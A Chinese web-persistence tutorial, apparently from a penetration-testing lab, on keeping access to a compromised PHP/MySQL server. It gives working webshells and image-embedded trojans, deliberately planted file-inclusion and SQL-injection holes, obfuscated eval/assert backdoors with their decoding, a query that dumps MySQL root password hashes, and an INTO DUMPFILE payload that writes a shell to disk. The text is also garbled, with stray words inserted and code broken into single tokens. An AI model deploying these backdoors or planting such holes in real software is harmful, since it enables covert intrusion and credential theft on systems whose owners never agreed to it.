前言
关于权限维持,我以前写过一篇基于系统端的后门技术文章,如映像劫持啊,lpk之类。
内容目录:
- 构造文件包含漏洞
- 隐蔽性脚本木马
- 构造sql注入点
正文
0x01 构造文件包含漏洞
>**本部分概览:**
> * 基本的文件包含姿式
> * 制做图片马
> * 构造文件包含漏洞
- **PHP文件包含漏洞介绍**
首先,咱们来介绍下何为文件包含漏洞。严格来讲,文件包含漏洞是`代码注入`的一种。其原理就是注入一段用户能控制的脚本或代码,并让服务端执行。`代码注入`的典型表明就是文件包含。文件包含漏洞可能出如今`JSP、PHP、ASP`等语言中,原理都是同样的,本实验以PHP文件包含漏洞作例子。
要想成功利用文件包含漏洞进行攻击,须要知足如下两个条件:
> 1. Web应用采用include()等文件包含函数经过动态变量的方式引入须要包含的文件;
> 2. 用户可以控制该动态变量。
在PHP中,有四个用于包含文件的函数,当使用这些函数包含文件时,文件中包含的PHP代码会被执行。下面对它们之间的区别进行解释:
>`include()`:当使用该函数包含文件时,只有代码执行到`include()`函数时才将文件包含进来,发生错误时只给出一个警告,继续向下执行。
>`include_once()`:功能和`include()`相同,区别在于当重复调用同一文件时,程序只调用一次。
>`require()`:`require()`与`include()`的区别在于`require()`执行若是发生错误,函数会输出错误信息,并终止脚本的运行。使用`require()`函数包含文件时,只要程序一执行,当即调用文件,而include()只有程序执行到该函数时才调用。
>`require_once()`:它的功能与`require()`相同,区别在于当重复调用同一文件时,程序只调用一次。
#### 步骤1 基本的文件包含姿式
如下全部步骤创建在已经取得目标机权限的状况下。
咱们假设事先经过一系列的渗透测试获得了目标机的一句话webshell。
假设咱们事前得知,目标服务器的一些脚本文件存在文件包含漏洞,如:php
/clude.php?file=index.php
其参数`file`没有做很好的过滤,能够包含任意文件。
好比,咱们在漏洞文件`clude.php`同目录新建一个文件`getshell.php`,内容是PHP一句话木马:html
<?php @eval($_POST['pass']);?>
使用中国菜刀进入文件管理功能并以下操做:mysql
那么咱们尝试经过`clude.php`包含脚本木马`getshell.php`:
web
/clude.php?file=getshell.php
点击`Enable Post data`调出POST数据栏,并POST如下数据:
算法
pass=system('set');
此处传递的变量是经过调用PHP的`system()`函数执行`set`命令来查看当前系统的环境变量。
固然,这里直接包含了一个木马文件,在咱们已经有了webshell的状况下,这好像并无很大意义。隐蔽性并非很强。
#### 步骤2 制做图片马
PHP文件包含,其包含的文件不管是什么格式,都会被当作PHP文件来解析。
那么,若是恶意代码被插入到了一个正常的网页图片中,并且图片在被插入恶意代码以后还能正常显示,那隐蔽性就加强了。
图片木马其实还有另外一点意义,有些网站咱们在渗透测试尝试上传shell的时候,会要用到上传文件,可是有的时候都会有过滤,若是只是上传`.asp .php`结尾的文件的话系统是不会给你上传的,那么这个时候咱们一般会把一句话放在图片里面,写成`1.asp;.jpg或1.asp;jpg`的格式上传上去,这样上传的时候系统检测是图片,而后在上传以后,会把这个文件当asp文件来处理。
那么如何用制做图片形式的一句话木马呢?
首先咱们在工具目录准备了一个图片文件`1.png`,和一个一句话木马文件`hack.php`。
准备好以后就在该目录开启命令行,而后输入如下命令:
sql
copy 1.png/b+hack.php test.png
而后回车就系统就会自动把这两个文件组合起来并命名为`test.png`:shell
这个时候咱们打开两个文件对比一下,用记事本打开,发现`1.png`的内容当中已经把咱们的`hack.php`的一句话木马语句已经加加到图片当中去了。数据库
固然了,最重要的是,被写入了一句话的图片仍是能够正常打开的,此为本步骤的目的所在:浏览器
那么,在实际渗透测试实验中,咱们一般是经过下载网站原有的图片文件并替换成一句话木马最后经过替换本来的图片文件达到必定的隐蔽效果。
那么咱们试试该图片木马是否可用,先经过中国菜刀的文件上传功能把`test.png`上传到目标机根目录:服务器
那么咱们尝试经过`clude.php`包含一句话图片木马`test.png`:
/clude.php?file=test.png
点击`Enable Post data`调出POST数据栏,并POST如下数据:
pass=system('set');
此处传递的变量是经过调用PHP的`system()`函数执行`set`命令来查看当前系统的环境变量。
固然,这里仍是直接包含了一个木马文件,在咱们已经有了webshell的状况下,这好像并无很大意义。隐蔽性并非很强。
#### 步骤3 构造文件包含漏洞
那么假设咱们拿到shell的服务器上的脚本文件都不存在文件包含漏洞就须要咱们本身来构造漏洞了,以达到权限维持的效果。
文件包含漏洞的脚本文件的构造就比较简单了,直接写一个不带有任何过滤的利用`include()`函数调用文件的PHP文件,文件代码及相关的注释以下:
<?php
$filename=$_GET['filename']; //将参数file的值传递给$filename变量
include($filename); //使用include()函数包含文件
?>
上述代码咱们已经保存在工具目录的`include.php`,咱们使用中国菜刀的文件管理功能把`include.php`上传到目标站根目录:
接下来咱们在浏览器访问如下URL以包含图片木马`test.png`:
http://172.16.12.2/include.php?filename=test.png
此处的PNG文件被当作是PHP文件解析,因而直接显示了图片乱码,咱们在乱码最后并无发现咱们的一句话木马痕迹,因而推断咱们的一句话木马已经被解析。
接着咱们点击`Enable Post data`调出POST数据栏,并POST如下数据:
pass=system('net user');
此处传递的变量是经过调用PHP的`system()`函数执行`set`命令来查看当前系统的环境变量。
咱们在图片乱码下面能够看到`net user`命令的回显。
至此,图片木马被成功部署并利用。
0x02 隐蔽性脚本木马
>**本部分概览:**
> * 使用`preg_replace`函数留后门
> * 使用加密`preg_replace`函数
> * 变异加密型后门
#### 步骤1 使用`preg_replace`函数留后门
其实咱们能够经过以下代码实现了隐藏式后门:
<?php @preg_replace("//e",$_POST['IN_COMSENZ'],"Access Denied");?>
乍看到这个代码以为没什么问题,这里用到的是php的`preg_replace`函数:
- `preg_replace`函数原型:
mixed preg_replace ( mixed pattern, mixed replacement, mixed subject [, int limit])
特别说明:
`/e`修正符使`preg_replace()`将`replacement`参数看成 PHP代码(在适当的逆向引用替换完以后)。
提示:要确保`replacement`构成一个合法的 PHP 代码字符串,不然 PHP 会在报告:在"包含 `preg_replace()` 的行中出现语法解析错误."
上面的代码是POST接收数据,实现可能不太直观,若是换成GET获取数据的话能够更好地理解:
举例,代码以下:
<?php echo preg_replace("/test/e",$_GET["h"],"jutst test");?>
咱们假设事先经过一系列的渗透测试获得了目标机的一句话webshell。
在中国菜刀的文件管理页面右键,新建一个`test.php`,内容是上述的`get`方式提交的一句话:
<?php echo preg_replace("/test/e",$_GET["h"],"jutst test");?>
若是咱们提交`?h=phpinfo()`便是经过传参执行了PHP的`phpinfo()`函数。
即在浏览器访问如下URL传递须要执行的变量函数`phpinfo()`:
/test.php?h=phpinfo();
如上图可见`phpinfo()`将会被执行(用`/e`修饰符,`preg_replace`会将`replacement`参数看成PHP代码执行)。
在PHP中,双引号里面若是包含有变量,php解释器会将其替换为变量解释后的结果,单引号中的变量不会被处理。
**注意:**双引号中的函数不会被执行和替换。
#### 步骤2 使用加密`preg_replace`函数
咱们准备了一个加密`preg_replace`函数的一个php后门文件:
文件内容以下:
01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
|
<?php
$MMIC
=
$_GET
[
'tid'
]?
$_GET
[
'tid'
]:
$_GET
[
'fid'
];
if
(
$MMIC
>1000000){
die
(
'404'
);
}
if
(isset(
$_POST
[
"\x70\x61\x73\x73"
]) && isset(
$_POST
[
"\x63\x68\x65\x63\x6b"
]))
{
$__PHP_debug
=
array
(
'ZendName'
=>
'70,61,73,73'
,
'ZendPort'
=>
'63,68,65,63,6b'
,
'ZendSalt'
=>
'202cb962ac59075b964b07152d234b70'
//792e19812fafd57c7ac150af768d95ce
);
$__PHP_replace
=
array
(
pack(
'H*'
, join(
''
,
explode
(
','
,
$__PHP_debug
[
'ZendName'
]))),
pack(
'H*'
, join(
''
,
explode
(
','
,
$__PHP_debug
[
'ZendPort'
]))),
$__PHP_debug
[
'ZendSalt'
]
);
$__PHP_request
= &
$_POST
;
$__PHP_token
= md5(
$__PHP_request
[
$__PHP_replace
[0]]);
if
(
$__PHP_token
==
$__PHP_replace
[2])
{
$__PHP_token
= preg_replace (
chr
(47).
$__PHP_token
.
chr
(47).
chr
(101),
$__PHP_request
[
$__PHP_replace
[1]],
$__PHP_token
);
unset (
$__PHP_debug
,
$__PHP_replace
,
$__PHP_request
,
$__PHP_token
);
if
(!defined(
'_DEBUG_TOKEN'
))
exit
(
'Get token fail!'
);
}
}
|
上述代码最后解密出来其实仍是利用`preg_replace`的`/e`来执行的一句话webshell。
代码中的md5值`202cb962ac59075b964b07152d234b70`明文是`123`。
咱们先经过上个步骤中的一句话木马把`test1.php`上传到目标机根目录,
该木马的利用方式是访问该文件并经过POST方式提交相似以下数据:
pass=123&check=phpinfo();
那么咱们在浏览器POST数据通常是经过火狐浏览器的hackbar插件,
火狐浏览器的的Hackbar插件的POST数据栏默认是不开启的,咱们须要勾选上图红圈中的部分已启动POST栏。
启动POST栏以后,咱们在`Post data`一栏输入如下数据来POST给服务器:
pass=123&check=phpinfo();
上述POST的数据是尝试执行`phpinfo()`函数:
如上图可见,`phpinfo()`函数被成功执行。
固然咱们还能经过`system()`函数来执行系统命令:
如经过火狐浏览器的Hackbar插件POST如下数据:
pass=123&check=system('set')
上述POST的数据中就是执行了系统命令`set`查看当前操做系统环境变量,如上图,咱们成功取得了返回。
#### 步骤3 变异加密型后门
咱们这里准备了一个PHP脚本后门,代码非常奇葩,源代码以下:
01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
18
19
20
21
22
23
|
<?php
function
cve(
$str
,
$key
)
{
$t
=
""
;
for
(
$i
=0;
$i
<
strlen
(
$str
);
$i
=
$i
+2)
{
$k
=((
$i
+2)/2)%
strlen
(
$key
);
$p
=
substr
(
$key
,
$k
,1);
if
(
is_numeric
(
substr
(
$str
,
$i
,1)))
{
$t
=
$t
.
chr
(hexdec(
substr
(
$str
,
$i
,2))-
$p
);
}
else
{
$t
=
$t
.
chr
(hexdec(
substr
(
$str
,
$i
,4)));
$i
=
$i
+2;
}
}
return
(
$t
);
}
(@
$_
=cve(
'6A767C687B77'
,
'39'
)).@
$_
(cve(
'6776666E286763736A38346466656871646A2A2464524F58565B2C7C302C5F292E'
,
'520'
));
?>
|
上述源码,光看看你是看不出什么端倪的。咱们为了方便你们看到上述代码到底作了些什么,对代码作了输出调试处理,输出每一个步骤的输出,并对代码作了一些详细的解释:
01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
|
<?php
function
cve(
$str
,
$key
)
{
$t
=
""
;
echo
$str
.
">>"
.
$key
.
""
;
for
(
$i
=0;
$i
<
strlen
(
$str
);
$i
=
$i
+2)
{
echo
$i
.
" while "
;
//这里是循环次数
$k
=((
$i
+2)/2)%
strlen
(
$key
);
echo
" ---- "
.
$k
;
//这里通过上面算法处理后的,本次(i+2/2)%(字符串长度)
$p
=
substr
(
$key
,
$k
,1);
//取key变量从$k开始,返回1个字符
echo
" ---- "
.
$p
;
//
if
(
is_numeric
(
substr
(
$str
,
$i
,1)))
//若是$str字符串在$i的位置返回是数字的话
{
$t
=
$t
.
chr
(hexdec(
substr
(
$str
,
$i
,2))-
$p
);
echo
$t
.
" >>>>>>yes int"
.
""
;
//$str字符串在$i位置开始返回2个字符转化为10进制数字,而后减去上面的$p,用chr返回对应的ASCII码值
}
else
{
$t
=
$t
.
chr
(hexdec(
substr
(
$str
,
$i
,4)));
$i
=
$i
+2;
echo
$t
.
" >>>>>>is no int"
.
""
;
//若是if判断的不是数字的话走这里,这里和上面同样区别是从$i位置开始返回4个字符并给$i+2,走到这个流程的话每次是4
}
}
echo
$t
.
" >>>>>>return>>>>>>"
.
$t
.
""
;
return
(
$t
);
}
(@
$_
=cve(
'6A767C687B77'
,
'39'
)).@
$_
(cve(
'6776666E286763736A38346466656871646A2A2464524F58565B2C7C302C5F292E'
,
'520'
));
//(@$_=assert).@$_(eval(base64_decode($_POST['z0']))); //第一次解密
//assert(eval(base64_decode($_POST['z0']))); //第二次解密
//发现是base64编码的变形马
echo
""
.
base64_encode
(
"phpinfo();"
).
""
;
//cGhwaW5mbygpOw==
//只要post发请求 z0=cGhwaW5mbygpOw== 便可使用了这个木马了
//不过这个木马觉的使用者应该会用跳板去中转base64编码,这样一个达到了跳板隐藏的做用,另外一个用base64编码绕过waf
?>
|
作了调试的的源码咱们命名为`base1.php`:
接着咱们使用中国菜刀把上述两个文件`base.php`和`base1.php`都上传到网站根目录。
好了以后咱们访问已经作了调试的`base1.php`:
```
http://172.16.12.2/base1.php
```
如上图可见,php文件运行起来后输出结果以下:
上述代码文件咱们是一步一步输出的,输出到最后,咱们发现,生成的居然是经典的PHP版一句话木马文件代码:
eval(base64_decode($_POST[‘z0’]))
上述一句话木马文件中在POST数据外加了`base64_decode`函数,因而咱们须要对变量的提交作`base64`加密处理。
`base.php`上传以后具体的URL地址以下:
01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
|
6
A
767
C
687
B
77
>
>
39
0
while —
-
1
—
-
9
a
>
>
>
>
>
>
yes
int
2
while —
-
0
—
-
3
as
>
>
>
>
>
>
yes
int
4
while —
-
1
—
-
9
ass
>
>
>
>
>
>
yes
int
6
while —
-
0
—
-
3
asse
>
>
>
>
>
>
yes
int
8
while —
-
1
—
-
9
asser
>
>
>
>
>
>
yes
int
10
while —
-
0
—
-
3
assert
>
>
>
>
>
>
yes
int
assert
>
>
>
>
>
>
return
>
>
>
>
>
>
assert
6776666
E
286763736
A
38346466656871646
A
2
A
2464524
F
58565
B
2
C
7
C
302
C
5
F
292
E
>
>
520
0
while —
-
1
—
-
2
e
>
>
>
>
>
>
yes
int
2
while —
-
2
—
-
0
ev
>
>
>
>
>
>
yes
int
4
while —
-
0
—
-
5
eva
>
>
>
>
>
>
yes
int
6
while —
-
1
—
-
2
eval
>
>
>
>
>
>
yes
int
8
while —
-
2
—
-
0
eval
(
>
>
>
>
>
>
yes
int
10
while —
-
0
—
-
5
eval
(
b
>
>
>
>
>
>
yes
int
12
while —
-
1
—
-
2
eval
(
ba
>
>
>
>
>
>
yes
int
14
while —
-
2
—
-
0
eval
(
bas
>
>
>
>
>
>
yes
int
16
while —
-
0
—
-
5
eval
(
base
>
>
>
>
>
>
yes
int
18
while —
-
1
—
-
2
eval
(
base
6
>
>
>
>
>
>
yes
int
20
while —
-
2
—
-
0
eval
(
base
64
>
>
>
>
>
>
yes
int
22
while —
-
0
—
-
5
eval
(
base
64
_
>
>
>
>
>
>
yes
int
24
while —
-
1
—
-
2
eval
(
base
64
_d
>
>
>
>
>
>
yes
int
26
while —
-
2
—
-
0
eval
(
base
64
_de
>
>
>
>
>
>
yes
int
28
while —
-
0
—
-
5
eval
(
base
64
_dec
>
>
>
>
>
>
yes
int
30
while —
-
1
—
-
2
eval
(
base
64
_deco
>
>
>
>
>
>
yes
int
32
while —
-
2
—
-
0
eval
(
base
64
_decod
>
>
>
>
>
>
yes
int
34
while —
-
0
—
-
5
eval
(
base
64
_decode
>
>
>
>
>
>
yes
int
36
while —
-
1
—
-
2
eval
(
base
64
_decode
(
>
>
>
>
>
>
yes
int
38
while —
-
2
—
-
0
eval
(
base
64
_decode
(
$
>
>
>
>
>
>
yes
int
40
while —
-
0
—
-
5
eval
(
base
64
_decode
(
$_
>
>
>
>
>
>
yes
int
42
while —
-
1
—
-
2
eval
(
base
64
_decode
(
$_P
>
>
>
>
>
>
yes
int
44
while —
-
2
—
-
0
eval
(
base
64
_decode
(
$_PO
>
>
>
>
>
>
yes
int
46
while —
-
0
—
-
5
eval
(
base
64
_decode
(
$_POS
>
>
>
>
>
>
yes
int
48
while —
-
1
—
-
2
eval
(
base
64
_decode
(
$_POST
>
>
>
>
>
>
yes
int
50
while —
-
2
—
-
0
eval
(
base
64
_decode
(
$_POST[
>
>
>
>
>
>
yes
int
52
while —
-
0
—
-
5
eval
(
base
64
_decode
(
$_POST[‘
>
>
>
>
>
>
yes
int
54
while —
-
1
—
-
2
eval
(
base
64
_decode
(
$_POST[‘z
>
>
>
>
>
>
yes
int
56
while —
-
2
—
-
0
eval
(
base
64
_decode
(
$_POST[‘z
0
>
>
>
>
>
>
yes
int
58
while —
-
0
—
-
5
eval
(
base
64
_decode
(
$_POST[‘z
0
’
>
>
>
>
>
>
yes
int
60
while —
-
1
—
-
2
eval
(
base
64
_decode
(
$_POST[‘z
0
’]
>
>
>
>
>
>
yes
int
62
while —
-
2
—
-
0
eval
(
base
64
_decode
(
$_POST[‘z
0
’]
)
>
>
>
>
>
>
yes
int
64
while —
-
0
—
-
5
eval
(
base
64
_decode
(
$_POST[‘z
0
’]
)
)
>
>
>
>
>
>
yes
int
eval
(
base
64
_decode
(
$_POST[‘z
0
’]
)
)
>
>
>
>
>
>
return
>
>
>
>
>
>
eval
(
base
64
_decode
(
$_POST[‘z
0
’]
)
)
|
咱们在火狐浏览器访问该文件,并使用Hackbar插件直接提交下面的数据是不行的:
```
z0=phpinfo();
```
咱们须要把对`z0`变量的赋值进行加密,加密后的数据形式以下:
```
z0=cGhwaW5mbygpOw==
```
咱们直接选中`z0=phpinfo();`中的`phpinfo();`,而后点击`Encoding`->`Base64 Encoding`,如此`phpinfo();`将会被加密:
加密完成后,咱们点击`Execute`提交:
如上图,`phpinfo()`函数被成功执行。
那么咱们也能够尝试执行系统命令如`net user`:
常规来讲,咱们提交的是以下数据:
```
z0=system('net user');
```
在这里咱们就须要对变量的赋值`system('net user');`部分进行加密,选中POST栏的`phpinfo();`,而后点击`Encoding`->`Base64 Encoding`,而后POST的数据变成以下形式:
```
z0=c3lzdGVtKCd2ZXInKTs=
```
加密完成后,咱们点击`Execute`提交:
如上图可见,`net user`命令被成功执行并且咱们得到了清晰地返回信息。
0x03 构造sql注入点
>**本部分概览:**
> * 构造注入点
> * 利用构造的注入点
本部分以php脚本和MySQL数据库为例,演示在得到目标机权限以后,在目标机上面构造一个注入漏洞方便咱们后续隐蔽性维持权限的方法。
#### 步骤1 构造注入点
咱们假设事先经过一系列的渗透测试获得了目标机的一句话webshell。
打开中国菜刀工具添加一句话木马,注意数据库配置信息填写以下数据(事先得到):
<T>MYSQL</T><N>mysql</N>
<H>localhost</H>
<U>root</U>
<哈哈>root</P>
使用中国菜刀进入到目标机的数据库管理功能:
在中国菜刀的数据库管理功能页面执行如下语句以建立一个新的数据库:
```
create database sqlinject;
```
而后退出该数据库管理页面,在从新进入数据库管理页面就能看到新建的数据库`sqlinjec`了,咱们双击该数据库名切换到该数据库:
而后执行如下语句在`sqlinject`数据库中创建表和列:
```
create table admin(id int auto_increment primary key,username varchar(32) not null,password varchar(32) not null);
```
再执行如下语句想表中的列写入字段值:
```
insert into admin (username,password) values ('admin',md5('admin')),('safe',md5('12345')),('test',md5('test'));
```
而后咱们双击查看`inject`数据库下各项,能够看到数据已经写入。
接下来咱们须要构造脚本文件调用上述数据库,脚本文件内容以下:
01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
18
19
20
|
<?php
$db_host
=
'localhost'
;
$db_user
=
'root'
;
$db_pass
=
'root'
;
$id
=
$_REQUEST
[
'id'
];
$link
= mysql_connect(
$db_host
,
$db_user
,
$db_pass
)
or
die
(
"DB Connect Error:"
. mysql_error());
mysql_select_db(
'sqlinject'
,
$link
)
or
die
(
"Can\'t use sqlinject:"
. mysql_error());
$sql
=
"SELECT * FROM admin WHERE id=$id"
;
$query
= mysql_query(
$sql
)
or
die
(
"Invalid Query:"
. mysql_error());
while
(
$row
= mysql_fetch_array(
$query
))
{
echo
"用户ID:"
.
$row
[
'id'
] .
"<br>"
;
echo
"用户帐号:"
.
$row
[
'username'
] .
"<br>"
;
echo
"用户密码:"
.
$row
[
'password'
] .
"<br>"
;
}
mysql_close(
$link
);
echo
"当前查询语句:"
.
$sql
.
"<br>"
;
?>
|
该文件上传完毕后,咱们根据上述脚本内容推测,构造的sql注入点以下:
/test.php?id=1
#### 步骤2 利用构造的注入点
根据咱们以前讲的sql注入相关知识,咱们尝试经过构造如下语句读取数据库用户相关信息:
test.php?id=-1 union select concat(host,0x7c,user,0x7c,password),2,3 from mysql.user where host = 'localhost'#
>咱们把参数从1改成-1是为了防止当前查询的返回结果影响咱们到时候提取指定文本。
>`concat()`函数把多个须要查询的字段放在一块儿
>`0x7c`是`|`符号的16进制转码结果,有利于咱们到时候把字段区分开。
咱们获得如下具体信息:
localhost|root|*81F5E21E35407D884A6CD4A731AEBFB6AF209E1B
如此得知本地主机`localhost`的`root`帐户的密码hash是`*81F5E21E35407D884A6CD4A731AEBFB6AF209E1B`。
实际渗透测试中,咱们能够经过`cmd5.com`的大型hash破解平台来破解密码,咱们这里经过线上破解得知,此hash对应的密码值为`root`。这些信息能够用来后续的mysql提权。
后来假设咱们以前的一句话木马被管理员删除了,然而咱们仍是能够利用上述咱们建立的sql注入点向服务器再写入一个脚本木马。
而后咱们尝试在这里写一个一句话webshell到服务器,一句话木马样本以下:
<?php @eval($_POST['pass']);?>
咱们在火狐浏览器的HackBar插件把上述一句话木马转换为16进制,目的是避免特殊字符的转义致使语句不能正确执行:
如图,一句话木马加密后的结果为:
3c3f70687020406576616c28245f504f53545b2770617373275d293b3f3e
而后在注入点构造如下语句把一句话导出到`c:/www/small.php`,咱们在一句话木马的16进制字符前加了`0x`(此为16进制标识符):
/
test.php?
id
=
-1
union
select
0
x
3
c
3
f
70687020406576616
c
28245
f
504
f
53545
b
2770617373275
d
293
b
3
f
3
e
,
2
,
3
into
dumpfile 'c
:
/
www
/
small.php'
|
以上语句连续执行两次,若是出现如下错误,即说明文件写入成功:
Invalid Query:File 'c:/www/small.php' already exists
//第二次写入提示文件已存在则说明文件写入成功
咱们尝试使用中国菜刀链接一句话木马,以下图操做:
至此,咱们成功够早了sql注入点并成功利用其向目标机写入了新的webshell。
分析与总结
本部分咱们主要学习了如下内容:
经过本实验,咱们学习了几种比较奇特的隐蔽性的脚本木马的原理和利用方式,目的在于维持web端的权限。还学习了基本的文件包含漏洞的利用、图片木马的制做,以及如何构造文件包含漏洞以便咱们后续维持web端权限、在目标服务器web端构造sql注入点用之后续维持权限的方式。固然,web端权限维持技术各类各样,不只于此,只有你想不到,没有渗透测试人员作不到。若涉及敏感操做,请在法律容许的范围内测试!文中0x02的步骤3:变异加密型后门,以前参考t00ls某牛的文章作的记录,已找不到原文连接,故未附连接。